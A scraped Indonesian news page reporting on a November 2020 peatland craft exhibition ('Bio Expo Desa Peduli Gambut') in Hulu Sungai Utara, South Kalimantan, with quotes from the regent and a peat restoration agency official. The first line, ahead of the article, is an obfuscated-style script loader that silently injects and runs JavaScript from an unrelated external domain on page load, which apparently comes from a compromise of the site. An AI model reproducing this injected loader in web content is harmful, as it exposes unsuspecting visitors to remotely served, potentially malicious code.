(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Yayasan Rahim Bumi didukung Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar pameran potensi lahan gambut bertajuk “Bio Expo Desa Peduli Gambut” Kalimantan Selatan di Kabupaten HSU, Rabu (25/11/2020).
Pameran akan berlangsung selama setengah bulan dari 25 November hingga 14 Desember 2020 di Rumah Kalakai, Matang Sirang, Kecamatan Banjang.
Dibuka Asisten II Bidang Ekonomi dan Pembangunan Pemprov Kalsel, Syaiful Azhari. Hadir dalam pembukaan pameran Bupati HSU H Abdul Wahid, Ketua Dekranasda HSU Hj Anisah Rasyidah Wahid, Deputi III Bidang Edukasi Sosialisasi dan Kemitraan Badan Restorasi Gambut (BRG) Myrna A Safitri, Ketua DPRD HSU Almien Anshar Safari, Dandim 1001 Amuntai Letkol Inf Ali Ahmad Satriadi dan Dirut Yayasan Rahim Bumi Farid Wajidi.
Bupati HSU Abdul Wahid memberikan apresiasi yang besar atas kegiatan Bio Expo ini, bahkan secara khusus Bupati HSU meminta agar para pengrajin menyadari bahwa peluang usaha yang berbahan lokal sangat besar.
“Saya pernah melihat bahwa hasil dari kerajinan kita ini harganya cukup mahal di luar daerah, bahkan bisa mancapai puluhan kali dari harga dipasaran lokal, apalagi di luar negeri, padahal hanya diberi variasi sedikit bisa meningkatkan nilai jualnya,” beber Bupati HSU.
Ia pun mengiginkan para pengrajin selalu berinovasi dan pandai pandai mengatur waktu, sehingga kalau ada permintaan pasar yang cukup banyak para pengrajin siap menyuplai sesuai pesanan.
Terkait peran Badan Restorasi Gambut, Bupati HSU menegaskan bahwa nadan tersebut sangat dibutuhkan di HSU yang wilayahnya didominasi kawasan rawa lebak dan daerah gambut lainnya.
“Saya pernah sampaikan peran Badan Restorasi Gambut itu sangat penting, seharusnya diperkuat bukan sebaliknya, mengingat pembangunan tidak hanya di daerah yang sumber daya alam yang melimpah saja, di daerah lahan Gambut pun perlu dilaksanakan bahkan pakta sekarang dimana dimasa pandemi Covid-19 ini,” kata Bupati.
Sementara itu, Deputi III Bidang Edukasi Sosialisasi dan Kemitraan BRG, Myrna A Safitri memberikan apresiasi besar atas kegiatan yang dilaksanakan Yayasan Rahim Bumi dukungan Pemkab HSU dan Dekranasda HSU ini.
“Kegiatan ini dapat memberikan manfaat bagi pengrajin, seperti saat ini kami melakukan pameran hasil dari olahan atau produk dari pengrajin di lahan gambut, menggali potensi daerah,” ujarnya.
“Kerajinan berbahan dasar tanaman purun di HSU omo merupakan mitra kerja kami yang berani melakukan inovasi, hanya sedikit daerah yang berani melakukannya,” sebut Myrna.
Selain menampilkan produk-produk sasirangan berbahan alam, kerajinan purun dan ilung, serta olahan lainnya, selama kegiatan pameran juga dimeriahkan dengan fashion show produk sasirangan dengan pewarna alam. (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pengunduran diri Sahbirin Noor atau Paman Birin dari jabatan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
This website uses cookies.